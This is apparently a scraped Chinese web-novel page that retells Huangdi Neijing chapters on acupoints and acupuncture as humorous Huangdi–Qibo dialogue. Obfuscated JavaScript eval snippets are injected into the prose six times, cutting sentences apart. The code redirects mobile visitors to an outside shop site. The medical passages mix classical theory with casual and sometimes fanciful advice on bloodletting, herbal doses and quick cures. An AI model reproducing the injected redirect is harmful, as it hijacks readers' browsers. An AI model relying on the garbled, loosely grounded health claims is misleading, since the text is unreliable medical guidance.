黄帝笑眯眯地发问了：“嘿，我听说咱们人体上有三百六十五个气穴，正好对应一年中的天数，感觉这设定挺玄妙的，但具体这些穴位都在哪儿呢？我可得好好请教一番。” 岐伯一听，立刻恭敬地行了个大礼，回答道：“哎呀，陛下您这问题真是高深莫测啊！要不是您这样的圣明之君，谁能深究这其中的奥秘呢？既然您有兴趣，那我就豁出去了，把我知道的全抖搂出来。” 黄帝一听，连忙摆摆手，后退两步，笑道：“哎呀，岐伯老师您太客气了，您这一开口，我感觉自己眼睛没看着穴位图，耳朵没听着穴位歌，但心里已经亮堂得像开了天窗，耳朵也仿佛能听见穴位跳动的声音了。您这就是传说中的‘高人一语胜千言，良马轻扬不需鞭’啊！” 岐伯被黄帝的幽默逗乐了，接着说：“陛下您谦虚了，其实啊，我这也是沾了您圣明的光。不过既然您这么诚心诚意，那我就来给您细细数说这三百六十五个‘人体小秘密’吧。咱们可说好了，这不仅仅是数数那么简单，每个穴位背后都有它的故事和妙用哦。” 黄帝正襟危坐，点头道：“对对对，我就是想听这些真材实料，解我心中疑惑，哪怕是最微小的知识点，对我来说都是宝贵的。您放心，这些珍贵的知识，我会把它们像宝贝一样藏在金匮里，绝不让它们轻易流失。” 岐伯微微一笑，开始了他的“穴位大揭秘”：“好嘞，咱们就从头说起。您知道吗？这三百六十五个气穴，就像是天上的星星，虽然多，但各有各的位置，各有各的光芒。咱们先从‘百会’说起，它位于头顶正中央，就像是皇帝的宝座，统领全身的气机，经常按按，能让人精神焕发，思维敏捷，感觉自己都能上天了！” 黄帝听得津津有味，插话道：“哈哈，这百会穴听起来就像是‘智慧之光’的开关啊！那接下来呢？” 岐伯继续道：“接下来咱们聊聊‘涌泉穴’，它藏在脚底心，就像是身体的小泉眼，源源不断地为咱们提供活力。您要是觉得累了，泡泡脚，按按这涌泉，保证您立马精神抖擞，走路都带风！” 黄帝笑着点头：“对对对，这涌泉穴简直就是‘能量加油站’嘛！还有呢？” 岐伯接着说：“还有啊，咱们得说说‘太冲穴’，它在脚背上，就像是身体里的‘情绪调节器’。心情烦躁了，按按它，火气就下去了；郁闷了，按按它，心情就豁然开朗了。简直是‘心灵按摩师’啊！” 黄帝听得哈哈大笑：“这穴位名字起得真好，太冲，太冲了！那有没有哪个穴位是专门管吃的，能让我多吃点不长胖的那种？” 岐伯也笑了：“陛下您真会开玩笑。不过，还真有个‘足三里’，它是胃经的要穴，经常按摩能增强脾胃功能，促进消化，虽然不是直接让您多吃不胖，但至少能让您吃得更健康，消化更顺畅。” 黄帝拍手笑道：“好好好，这个我喜欢！那以后吃饭前我得先按按足三里，说不定还能多吃两碗饭呢！” 岐伯摇摇头，笑着提醒：“陛下，虽然足三里好处多多，但吃饭还得适量哦，不然再好的穴位也救不了您的肚子。” “陛下可知，咱们身体上藏着无数宝藏，其中之一就是那大名鼎鼎的‘合谷穴’，我且称它为‘头痛的超级克星’吧！”岐伯笑道，眼神中闪烁着智慧的光芒，“想象一下，当您偶尔被偏头痛这个小恶魔缠上时，只需轻轻一按这虎口处的合谷穴，就像是给疼痛按下了暂停键，那份舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318197|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓，简直比夏日里的一缕清风还要来得及时。” 黄帝闻言，不禁点头称赞，眼中闪过一丝好奇：“哦？如此神奇，那‘内关穴’又是何方神圣，能让您称之为‘心脏卫士’？” 岐伯微微一笑，解释道：“内关穴，位于手腕横纹上两寸之处，正是守护我们心脏安宁的忠诚卫士。当您感到心悸、胸闷或是心跳加速时，不妨静下心来，用拇指轻轻按压此穴，它便能像一位经验丰富的将军，迅速调兵遣将，稳定军心，让您的心脏重新回归宁静的港湾。这不仅仅是简单的按摩，更是与身体的一场深度对话，让心灵得以安宁。” “至于那‘三阴交’，嘿嘿，这可是咱们女性朋友的私密宝藏，我称之为‘妇科小能手’也不为过。”岐伯说到这里，眼神中多了几分温柔，“三阴交位于小腿内侧，脚踝骨往上三寸的地方，是肝、脾、肾三条阴经交汇的神奇之地。无论是月经不调、痛经还是更年期的不适，只要定期按摩这个穴位，就像是给身体请来了一位温柔的调理师，帮助女性朋友们调理气血，缓解各种妇科小烦恼，让美丽与健康同行。” 黄帝听得入了迷，不禁感慨道：“岐伯啊，您这一番讲解，真是让我大开眼界，原来咱们的身体里竟藏着这么多奥秘和力量！” 岐伯笑着摇了摇头，继续说道：“陛下所言极是，但这只是冰山一角。中医之妙，在于顺应自然，调和阴阳，每一个穴位都是大自然赋予我们的宝贵财富。比如，您若是想要提神醒脑，不妨试试按摩‘风池穴’，它位于后颈部，两侧风府穴的外侧凹陷处，轻轻一按，仿佛有清风拂面，让您精神为之一振。” 本小章还未完，请点击下一页继续阅读后面精 彩内容！ 气府论篇第五十九 在古老的中医智慧里，藏着一条关于人体与自然和谐共生的秘密通道——足太阳膀胱经，它就像是一条活力四射的阳光大道，自头顶穿越脊背，直至足底，沿途洒落着七十二颗璀璨的“珍珠”，哦不，准确来说是七十八个神奇的穴位，它们仿佛是身体自带的GPS，引导着气血的流畅与健康的循环。 想象一下，你清晨醒来，第一缕阳光透过窗帘的缝隙，轻轻拂过你的脸庞，正好落在你的“攒竹穴”上，没错，这就是足太阳膀胱经上，位于两眉头之间的那两个小家伙。它们像是小小的守护神，守护着你的清醒与神智，轻轻按摩几下，仿佛能瞬间驱散一夜的疲惫，让新的一天充满干劲。 接下来，我们沿着这条“阳光大道”继续前行，穿过发际线，向上延伸至脖子后方大约三寸半的位置，那里藏着五对穴位，它们排列得整整齐齐，像是等待检阅的士兵，每对之间相隔三寸，这些穴位虽然不常被人提及，却是调节头部气血循环、缓解颈部僵硬的重要站点。想象一下，长时间低头玩手机的你，偶尔抬头，对着这些穴位做做“眼神交流”，是不是感觉脖子都轻松了许多？ 再来说说那些“浮气在皮中”的穴位吧，它们就像是皮肤下的隐形卫士，沿着膀胱经的五条路径分布，每条路径上有五个穴位，总共二十五个，它们虽然不显山露水，但在调节体表气机、增强免疫力方面可是功不可没。想象这些穴位就像是小小的通风口，帮助身体与外界进行微妙的能量交换，让皮肤也能自由呼吸。 当我们把目光移到项部，会发现两根大筋旁边各有一个重要的穴位，它们就像是项部的门神，守护着颈部的安全与健康。再往后，靠近风府穴的两侧，也有类似的穴位存在，它们联合起来，就像是构建了一道坚固的防线，抵御外界风邪的侵袭。 接下来的旅程就更加精彩了，沿着脊椎两侧，从背部一直延伸到尾椎骨，这二十一段脊椎上，每隔一段就藏着一个穴位，总共有十五个，它们就像是脊椎上的珍珠项链，串联起身体的支撑与力量。每次腰酸背痛时，不妨顺着这条“项链”轻轻按揉，相信那份酸爽过后，定会迎来一身的轻松与畅快。 当然，别忘了五脏六腑的“后勤部长”——俞穴。它们分布在背部，与五脏六腑一一对应，五脏各有五个俞穴，六腑则各有六个，加起来就是六十一个穴位，简直就是身体内部的“调度中心”。通过刺激这些穴位，可以直接影响到对应的脏腑功能，就像是给身体发送了一封“加油”的邮件，让脏腑们更加卖力地工作。 当我们的探索之旅来到小腿后方，委中穴以下，直至足小指旁，这里又是另一片穴位的海洋。每条小腿上各有六个俞穴，它们像是足太阳膀胱经的末梢神经，虽然位置偏远，但作用不可小觑。按摩这些穴位，能够促进下肢的血液循环，缓解腿部的疲劳与疼痛，让你的双脚也能轻松跟上生活的节奏。 在古老的中医智慧里，藏着一条神秘而又充满生机的脉络——足少阳胆经，它如同一条蜿蜒的河流，滋养着我们的身体，而在这条河流上，分布着六十二颗璀璨的“明珠”，它们就是足少阳胆经上那些至关重要的穴位，每个穴位都像是守护健康的勇士，等待着我们去发现与利用。 想象一下，你站在清晨的阳光下，准备开始一场关于身体奥秘的探索之旅。首先，我们的目光投向了头部的“两角”，也就是现代所说的“率谷穴”，左右各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318198|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一，它们就像是守护你智慧与灵感的门神，轻轻按摩它们，仿佛能开启一天的好心情和清晰的思维。再往上，直对眼睛上方发际线内，隐藏着五个小秘密——“曲鬓穴”，它们一字排开，仿佛是天际线上的星辰，调节着你的头部血液循环，缓解紧张与疲劳。 接下来，让我们转到耳朵前方，那里有两对“小卫士”：一对在耳前角上，是“听会穴”，它们像是耳朵的私人保镖，守护着你的听力，让你在喧嚣的世界中也能捕捉到最动听的声音；另一对则位于耳前角下，是“上关穴”，它们与听会穴携手，共同维护着耳朵的安宁与健康。 再往下，是“颔厌穴”，它们藏在发际边缘的锐发之下，就像是隐藏在发丛中的小精灵，轻轻触碰，便能驱散头部的烦恼与不适。而“客主人”，也就是我们现在所说的“听宫穴”，则位于耳屏前方，它像是耳朵的接待员，不仅关乎听力，还与面部神经紧密相连，按摩它，仿佛能开启一场心灵的对话。 转到耳后，你会发现一对“小陷阱”——“完骨穴”，它们藏在耳后的凹陷中，就像是耳朵背后的秘密花园，按摩这里，能舒缓紧张的情绪，放松紧绷的神经。紧接着，是“下关穴”，它位于颧骨下方，与牙关紧密相连，是缓解牙痛、颞颌关节紊乱的神奇开关。 继续向下探索，我们来到颈部的“缺盆穴”，它就像是身体与头部之间的交通枢纽，连接着气血的流通，轻轻拍打，能缓解肩颈的僵硬与不适。再往下，腋下三寸处，虽然没有特定的穴位名称，但这一区域却是淋巴排毒的重要通道，适当按摩，能促进淋巴循环，增强免疫力。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 骨空论篇第六十 黄帝闲来无事，就琢磨起健康养生的大事来了。他眉头一皱，发现事情并不简单：“哎，我听说啊，风这家伙，简直就是百病的开山鼻祖！要是被风给盯上了，那可咋整？用针灸能不能搞定它？” 这时候，岐伯大神闪亮登场，他捋了捋胡子，慢悠悠地说：“陛下您问得好！风这家伙，最爱从外边儿溜进来，搞得人寒战连连，汗珠子直冒，头疼欲裂，身子跟灌了铅似的重，还特怕冷。这时候啊，咱们得瞄准‘风府’这个穴位，它是风的门户，调和阴阳，让身体回归平衡。要是正气不足，咱们就给它补补；邪气过剩，那就得泻一泻了。” “哎呀，这风府穴听起来就高大上，到底在哪儿呢？”黄帝好奇地问。 岐伯微微一笑：“风府嘛，它就藏在咱们脖子后面，差不多是后脑勺正下方，两根大筋之间的凹陷处，就像是给风开的个小后门。找到它，轻轻一刺，嘿，风邪就得乖乖撤退！” “那要是风大得连脖子都疼了咋办？”黄帝继续追问。 “哈哈，陛下您真是问到点子上了！”岐伯笑道，“这时候，咱们就来个‘直击要害’，还是刺风府，让它知道谁才是主人。另外，如果风大得让人直冒汗，咱们还可以试试灸法，找个叫‘噫嘻’的穴位。不过啊，现代咱们通常叫它‘意舍’，就在背部脊柱旁边，大约三寸的地方。灸的时候，让病人大喊一声‘噫嘻’，嘿，您还别说，这招儿有时候真挺灵的，病人一喊，感觉那股子邪气都随着声音跑没了！” 咱们来聊聊这位“逆气小王子”——冲脉。这家伙一不高兴，就喜欢搞点“里急后重”的小动作，让你感觉肚子里头一股子气乱窜，急着想跑厕所却又不一定能解决问题，真是让人哭笑不得。 再来说说那位“脊梁守护者”——督脉。它可是个高傲的家伙，一旦出问题，直接给你来个“脊强反折”，就像被孙悟空施了定身法，腰板挺得直直的，弯都弯不下来，走路都得小心翼翼，生怕一不小心就“折”了。不过，话说回来，这督脉要是健健康康的，那可是咱们身体里的“阳气总开关”，能量满满，精神抖擞！ 咱们来细细描绘一下这位督脉大爷的“豪宅”吧。它呀，起点低调得很，就在咱们小腹下方，那块骨头正中央悄悄启程。对于女士们来说，它还特别贴心，路过时不忘跟咱们的“私密花园”——廷孔打个招呼，那里可是尿液排放的小门户哦。接着，它的网络（经络）就像一张错综复杂的地图，沿着咱们的私处蜿蜒前行，经过会阴部，绕到后面，再绕个弯儿穿过臀部，最后与少阴经（对应现代穴位大概是大腿内侧的复溜、交信等穴）汇合，一路向上，直达咱们的肾脏领地，那可是生命的源泉啊！ 督脉大爷的征途可不止于此，它还跟太阳经（想象一下，是不是像阳光一样明媚照耀？）手拉手，从眼睛的内眼角出发，一路攀上额头，跨过头顶，在头顶中央来个“巅峰对决”，然后深入脑海，仿佛在进行一场神秘的探索。之后，它又悄悄溜出来，绕到脖子后面，沿着肩膀内侧，紧贴脊椎，一路下滑到腰部，再深入脊柱两侧的肌肉（膂），最后又回到肾脏，完成了一个华丽的循环。 对于男士们来说，督脉的路线还会多一个“小插曲”，那就是它会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318199|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着小弟弟一路向下，再与女士们的路线重合。而从小腹直接往上的那部分，更是厉害，穿过肚脐眼儿，直达心脏，再往上就是咽喉、下巴，最后还绕到嘴唇周围，跟眼睛下方的某个神秘位置（可以理解为承泣、四白等穴附近）来了个亲密接触。这简直就像是身体里的“超级高铁”，连接着各个重要站点嘛！ 但话说回来，督脉一旦“生病”，那可真不是闹着玩的。你可能会感觉一股力量从小腹直冲心脏，疼得你直冒冷汗，连大小便都受影响，这就是传说中的“冲疝”。女士们就更惨了，还可能遭遇孕期排尿困难、痔疮、尿失禁，甚至喉咙干得像沙漠一样。这时候，就得请出咱们中医的“秘籍”——针对督脉进行治疗了。 治疗督脉的毛病，可不能乱来，得找准穴位，精准打击。比如，在脊椎骨上做些推拿按摩，或者艾灸那些关键穴位，像命门、大椎之类的，都是不错的选择。要是病情严重，还得在肚脐下方（大概是气海、关元穴的位置）下功夫，用些温补的草药，比如黄芪、当归，熬成汤药，慢慢调养。这些草药啊，就像是身体里的“温柔小护士”，一点点帮你修复受损的督脉，让阳气重新焕发光彩。 想象一下，你正悠闲地走在回家的路上，突然感觉喉咙里好像有个“小喇叭”在奏乐，声音怪怪的，这时候，古医书告诉你：“其上气有音者，治其喉中央。”说的就是要找准喉咙中间那块宝地，轻轻按揉或针灸，比如咱们现代人说的“天突穴”，嘿，给嗓子来个“静音”模式，让那“小喇叭”歇歇吧！ 本小章还未完，请点击下一页继续阅读后面精彩内容！ 水热穴论篇第六十一 黄帝有一天突发奇想，就跟他的医学导师岐伯聊起了天，他笑眯眯地说：“老岐啊，咱们来聊聊这中医里的深奥学问吧！你说说，为啥在五行八卦、脏腑对应里头，少阴这家伙非得跟肾扯上关系？还有啊，肾这家伙为啥又成了水的老大？” 岐伯一听，捋了捋他那飘逸的长须，慢悠悠地说：“陛下您这问题问得真有水平！肾啊，它在中医里可是个大佬，被尊称为‘至阴’之脏。您想啊，‘至阴’这俩字，听着就深不可测，对吧？它就像是个大水库，专门负责存水、管水。而肺呢，则是‘太阴’，虽然也和水有关，但比起肾来，它更像是调节水汽的使者。至于少阴嘛，它可是冬天的脉搏，冷嗖嗖的，跟肾那沉稳内敛的性格不谋而合，所以说，少阴主肾，那是理所当然的。” 黄帝一听，眼睛一亮：“哦？这么说来，肾还真是水界的扛把子啊！那它咋就能把水聚起来，还聚出问题来了呢？” 岐伯笑着解释道：“陛下您有所不知，肾啊，它不仅是水库，还是胃的守门员，咱们称之为‘胃之关’。您想象一下，如果守门员不给力，球门大开，那水不得乱窜嘛！同样的道理，如果肾这个‘关门’不利索了，水就会在体内滞留，找同类聚集，形成水湿。这些水湿啊，往上能跑到皮肤，往下也能渗到身体各处，结果就是咱们常说的‘浮肿’。这浮肿啊，其实就是水多了，身体在抗议呢！” 黄帝听了，哈哈大笑：“老岐啊，你这解释真是既生动又有趣！不过，咱们现代人可不爱听这些晦涩难懂的理论，你得给我整点接地气的，让我好回去跟我的子民们分享。” 岐伯想了想，说：“好嘞，陛下您听好了。咱们可以把肾想象成一个超级大的游泳池，每天都会有清水（营养和水分）通过胃这个大门流进来，然后通过肾这个过滤器进行净化。但如果这个过滤器出了故障，比如滤网堵了，或者水泵不工作了，那水就会在池子里越积越多，最后漫出来，把游泳池周围的草地（皮肤）都给淹了。这就是咱们说的‘浮肿’现象。” “至于治疗嘛，”岐伯继续说道，“那就得根据具体情况来定了。比如，如果是滤网堵了，咱们就得用些活血化瘀、疏通经络的草药，比如丹参、红花，它们就像是专业的清洁工，能帮忙把滤网里的垃圾清理干净。如果是水泵不工作，那就得加点动力，比如黄芪、党参这类补气药，它们就像是给水泵加油，让水流动起来。” “当然啦，”岐伯话锋一转，“这只是个简单的比喻，实际治疗还得望闻问切，四诊合参。不过，为了让陛下您的子民们更容易理解，我可以教他们一些简单的日常保养方法。比如，多喝水但别过量，少吃油腻重口味的食物，免得给肾增加负担；多运动，促进新陈代谢，让身体里的水分良性循环；还有，保持良好的心态也很重要，心情好了，气血就顺畅，身体自然就更健康了。” 黄帝问岐伯大神：“老岐啊，你说这世上的水啊，是不是都源自咱们的肾呢？”岐伯一听，捋了捋他的长胡子，慢悠悠地说：“陛下您问得好，肾啊，它就像是咱们身体的‘水库’，温柔又深沉，咱们叫它‘牝藏’（就是女性的宝藏，用来形容肾的滋养和孕育功能）。您知道吗？大地上的精华之气，往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318200|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上走，最后都汇聚到了肾这里，然后转化成咱们身体里的宝贵水液。所以说，肾是‘至阴’之地，滋养万物之源啊！” “嘿，还有更绝的呢！”岐伯话锋一转，“您想啊，如果一个人勇猛无畏，劳作过度，那他的肾啊，就像是被汗水浸泡的小水库，哗哗地往外冒汗。这时候，如果一阵风吹过来，哎呀，这汗水就尴尬了，里面进不去脏腑，外面也透不出皮肤，只好在皮肤的微细孔道——咱们现代叫‘汗腺’或者‘毛孔’，但古人诗意地称之为‘玄府’里溜达。这一溜达可好，慢慢地，就成了浮肿，咱们管这叫‘风水病’，听着就挺玄乎的吧？” 说到这里，咱们得给“玄府”这个词来个现代解释。想象一下，咱们的皮肤就像是一片广阔的田野，而毛孔就像是田野里的小水渠，汗水就是田里的水。这“玄府”，就是那些细到几乎看不见，却能调节汗水进出的小小门户。现在明白了吧，原来古人的词汇也可以这么生动有趣！ 接下来，咱们聊聊怎么对付这“风水病”。虽然岐伯没直接给药方，但咱们可以脑补一个现代版的“消肿秘籍”。首先，得让身体里的“水”流动起来，别堵在那儿。这时候，咱们可以泡一杯“利水消肿茶”，材料嘛，就简单又实惠：薏米30克（祛湿消肿小能手）、茯苓15克（健脾利水好帮手）、玉米须一小把（自然界的利尿剂）。把这三样宝贝放进壶里，加热水焖泡个十分钟，一杯清爽的消肿茶就搞定啦！喝下去，感觉身体里的“小水库”都开始欢快地流动起来，浮肿自然就不见啦！ 这章没有结束，请点击下一页继续阅读！ 调经论篇第六十二 黄帝这大佬啊，真是好学不倦，连针灸的奥秘都要刨根问底。话说有一天，他好奇地问岐伯老师：“我老是听人说，针灸的时候，多了就泻一泻，少了就补一补，这‘多了’、‘少了’到底是指啥呢？”岐伯老师一听，笑眯眯地说：“陛下啊，这学问可深了，多了有五种情况，少了也有五种情况，您想先听哪个？”黄帝一听，眼睛都亮了：“我都要听，都要听！” 岐伯老师就开始娓娓道来：“咱们先说说这‘多了’的五种情况吧。首先，是‘神有余’。哎，你可别误会，这可不是说谁的精神头太足了要给他扎两针泄泄火。这里的‘神’，是指人的精神状态、意识活动。如果人过于亢奋，晚上不睡觉，白天还蹦跶得像猴子一样，那就是神有余了，得想办法让他安静下来。再来说说‘气有余’，这就好比体内有个打气筒，不停地给身体打气，让人感觉浑身是劲，但过了头就容易胀气、上火，这时候就得给气找个出口，让它平衡一下。 ‘血有余’呢，简单说，就是血太多了，不是好事哦！比如有些人，脸色总是红扑扑的，好像喝了酒，其实可能是血液循环过快，甚至有点淤血。这时候，就得让血液流得慢些，别那么急着往脸上冲。‘形有余’，那就是身材过于壮硕，肌肉一块块跟小山似的，虽然看起来强壮，但也可能隐藏着不健康的隐患，得适当调整。‘志有余’，指的是意志过于坚定，执着到偏执的地步，啥都得按他的想法来，这可得小心了，容易伤身又伤心。” 黄帝听得津津有味，连忙追问：“那‘少了’的五种情况呢？”岐伯接着说：“少了嘛，也是这五个方面。神不足，就是精神萎靡，整天像霜打的茄子，提不起劲；气不足，就是气虚，说话都费劲，走两步就喘；血不足，脸色苍白，头晕眼花，跟林黛玉似的；形不足，那就是瘦弱无力，风一吹都能飘走；志不足，则是缺乏目标，动力不足，干啥都提不起兴趣。” 黄帝恍然大悟：“原来如此！可是，这些问题都是怎么来的呢？”岐伯答道：“根源都在五脏啊！心脏管着神，肺脏管着气，肝脏藏着血，脾脏管着肌肉，肾脏藏着志。它们各司其职，相互关联，一旦哪个环节出了问题，身体就会失衡。而这些脏腑的功能，都是通过经络来运行的。经络就像是身体的高速公路，血气就是路上的车流。如果血气不和，就像路上堵车了，百病就会趁机而生。所以，我们针灸啊，就是要守好这些经络，让它们畅通无阻。” 说到这里，黄帝不禁感叹：“这五脏六腑、经络气血，真是奥妙无穷啊！”岐伯笑道：“是啊，陛下。不过您也别担心，只要咱们掌握了其中的规律，就能对症下药，让身体回归平衡。比如，神有余的人，我们可以给他扎一扎‘神门’穴，让他心神安定；气有余的，可以揉揉‘膻中’穴，顺顺气；血有余的，试试‘血海’穴，让血液流动更顺畅；形有余的，练练瑜伽，拉伸一下肌肉；志有余的，多出去走走，看看风景，放松心情。至于不足的，那就更简单了，补一补就好了嘛！” 黄帝听了，哈哈大笑：“岐伯老师，您这一番话，真是让我茅塞顿开啊！以后，我也要学点针灸之术，好好调理身体，做个健康长寿的帝王！”岐伯也笑了：“陛下有此心，实乃天下百姓之福啊！” 黄帝陛下闲着没事，就跟他的首席健康顾问岐伯老师聊上了：“嘿，岐伯兄，你说这人的‘神’啊，要是多了少了，会咋样呢？” 岐伯老师捋了捋他那不存在的长胡子，慢悠悠地说：“陛下您问得好。‘神’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318201|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这玩意儿，多了呢，人就跟吃了开心果似的，笑个不停，乐极生悲可不就是反着来嘛；少了呢，唉，那就跟林黛玉似的，动不动就悲春伤秋，泪眼婆娑的。” 黄帝一听，来了兴趣：“哟，这么玄乎？那要是真这样了，咱们得怎么给治治呢？总不能看着人一直傻笑或者哭鼻子吧？” 岐伯老师微微一笑，仿佛胸有成竹：“陛下莫急，听我慢慢道来。要是‘神’多了，咱们就得给他泄泄火，怎么找火源呢？看那些细小的血管网络，就像是城市里的毛细血管，咱们轻轻一针，放点儿血出来，但别扎太深了，免得伤了大动脉，那可就得不偿失了。这么一放血，嘿，人就跟被夏日凉风拂过一样，神清气爽了。” “那要是‘神’不足呢？”黄帝追问道。 “这就更简单了，咱们得找那些看起来虚弱的血管网络，就像是给快枯萎的花浇水一样，轻轻按一按，找对地方了，再轻轻一针，不过这次不是放血，而是疏通。就像是给高速公路清理拥堵，让气血顺畅流动起来，这样，‘神’自然就足了，人也就精神焕发了。”岐伯老师解释道。 黄帝好奇地问：“老岐啊，你说这治病啊，有时候病症轻得跟羽毛似的，该怎么下针按摩呢？”岐伯老师微微一笑，那笑容里藏着千年的智慧：“皇上您听好了，对付这种微妙的小病，按摩得温柔持久，就像给猫咪顺毛一样，别松手；下针呢，得轻柔，别跟扔飞镖似的，‘嗖’一下就进去了，得让那股子不听话的气啊，慢慢悠悠地挪到它该去的地方，这样一来，人的神气自然就能恢复如初，精神头儿倍儿棒！”黄帝一听，眼睛一亮：“嘿，这 招儿妙！” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 缪刺论篇第六十三 黄帝眨巴着大眼睛问岐伯老师：“嘿，老岐啊，我老是听人提起‘缪刺’这疗法，感觉高深莫测，但我就是摸不透它的门道。快给我说说，这‘缪刺’到底是个啥神奇操作？” 岐伯老师捋了捋胡子，笑眯眯地开始了他的科普小课堂：“哎呀，黄帝陛下，您这求知欲真是旺盛得跟春天的野草一样，嗖嗖往上涨啊！这‘缪刺’啊，其实是一种针对邪气入侵身体的特殊针灸疗法。您想啊，那些捣蛋的邪气，它们进犯咱们的身体，就像小偷一样，总爱从最容易得手的地方——皮毛开始。要是它们在那儿溜达够了还不走，就会继续往里闯，先是孙脉（咱们现在可以理解为微血管或者末梢神经），然后是络脉（类似于小血管或者神经分支），再然后嘛，就是经脉了（这就像是身体里的高速公路，气血运行的主干道）。一旦邪气深入，连带着五脏六腑也跟着遭殃，肠胃也逃不掉，这时候阴阳失衡，五脏六腑可就乱套了。” “这过程，就像是敌人从边境小镇一路打到了都城，咱们得赶紧想办法阻止它们。但有时候啊，这些邪气狡猾得很，它们跑到孙络（我们可以想象成手脚上的那些密密麻麻的小血管或者神经末梢）就停下来了，不走了，还搞起了路障，让气血运行不畅。这时候，它们虽然还没能进入正经（主要经脉），但在大络（可以理解为身体各部位间的大通道，比如四肢与躯干相连的大血管或神经干线）上捣乱，就容易引起一些稀奇古怪的病症。” “更有趣的是，这些邪气在大络里还不安分，它们喜欢搞‘跨国界旅行’，左边跑到右边，右边又溜到左边，上下左右乱窜，跟正经还时不时来个亲密接触，最后跑到四肢末梢去撒欢。它们这种不按常理出牌的行为，导致气血流动没个定数，也不乖乖待在正经的穴位上，这就叫做‘缪’。所以啊，咱们就得用‘缪刺’这种特别的针灸方法，来对付它们。” 黄帝一听，眼睛更亮了：“哇塞，原来这么有趣！那具体怎么操作呢？” 岐伯继续讲解：“具体操作嘛，就得看邪气具体在哪个位置捣蛋了。比如，如果邪气在左手的某个孙络上作祟，导致右手对应位置出现了疼痛或不适，咱们就不能按照常规的经络走向去扎针，而是要在右手的相应位置进行针刺，通过刺激经络的感应传导，达到驱邪治病的效果。这就像是在玩‘你追我赶’的游戏，虽然邪气在躲猫猫，但咱们总有办法找到它，并给它来个‘惊喜’！” “而且啊，这缪刺的选穴也是很有讲究的，不是随便扎扎就行的。得根据患者的具体情况，比如年龄、体质、病情轻重，还有邪气侵袭的具体位置，来精确选择穴位。有时候，还得配合上一些特殊的针刺手法，比如提插捻转、留针时间的长短等，都是门学问呢！” 黄帝有一天心血来潮，对岐伯大神说：“老岐啊，我一直对那个‘缪刺’挺感兴趣的，就是左病右治，右病左治那套，你详细给咱讲讲呗？还有，这‘缪刺’跟那同样神奇的‘巨刺’有啥不一样呢？” 岐伯一听，微微一笑，那笑容里仿佛藏着千年的智慧：“陛下问得好！这邪啊，有时候它不走寻常路，悄悄溜进咱们的经络里，要是左边经络里的邪气多了，右边可能就会跟着遭殃，反过来也是一样。更有趣的是，这邪气还会玩‘捉迷藏’，左边疼着疼着，右边的脉象先不对劲了。这时候，就得用上咱们的‘巨刺’大法，直接瞄准那条被邪气侵扰的正经，一针见血，记住哦，这可不是随便扎扎网络（这里的‘网络’是玩笑话，指的是细小的络脉）那么简单。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 